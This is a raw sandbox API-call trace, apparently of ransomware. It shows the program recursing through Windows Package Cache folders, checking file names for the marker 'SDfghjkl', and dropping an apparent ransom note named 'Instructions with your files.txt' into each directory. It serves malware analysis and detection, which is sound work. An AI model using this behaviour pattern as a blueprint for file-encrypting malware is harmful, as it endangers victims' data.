[0132.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4814100, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4814100, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.064] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\.") returned 121
[0132.064] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4814100, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4814100, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.065] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\..") returned 122
[0132.065] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aae6600, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x8aae6600, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x8aae6600, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.065] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 128
[0132.065] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.065] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4814100, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4814100, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.065] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 152
[0132.065] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.065] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.065] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 148
[0132.065] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0132.065] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.065] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 152
[0132.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.066] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.068] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.068] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.068] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.068] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.068] CloseHandle (hObject=0x118) returned 1
[0132.069] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.069] GetProcessHeap () returned 0x810000
[0132.069] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.069] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4814100, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4814100, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0132.069] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Instructions with your files.txt") returned 128
[0132.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.069] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.070] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.070] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.070] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.070] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.070] CloseHandle (hObject=0x114) returned 1
[0132.070] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.070] GetProcessHeap () returned 0x810000
[0132.070] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.070] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb483a260, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb483a260, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.070] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Instructions with your files.txt") returned 119
[0132.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.071] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.071] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.072] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.072] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.072] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.072] CloseHandle (hObject=0x110) returned 1
[0132.072] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.072] GetProcessHeap () returned 0x810000
[0132.072] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.072] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1
[0132.072] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 86
[0132.072] GetProcessHeap () returned 0x810000
[0132.072] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.072] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned 88
[0132.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.072] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\.") returned 88
[0132.072] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.072] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\..") returned 89
[0132.072] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb48d27e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.072] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Instructions with your files.txt") returned 119
[0132.072] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.072] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.072] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned 95
[0132.073] GetProcessHeap () returned 0x810000
[0132.073] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.073] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned 97
[0132.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.073] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\.") returned 97
[0132.073] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.073] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\..") returned 98
[0132.073] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb48d27e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.073] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Instructions with your files.txt") returned 128
[0132.073] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.073] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48ac680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48ac680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0132.073] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned 116
[0132.073] GetProcessHeap () returned 0x810000
[0132.073] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.073] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned 118
[0132.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48ac680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48ac680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.073] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\.") returned 118
[0132.073] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48ac680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48ac680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.073] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\..") returned 119
[0132.073] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884c0c00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x884c0c00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x884c0c00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.073] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 125
[0132.073] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.073] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4886520, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4886520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.073] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 149
[0132.073] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.073] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
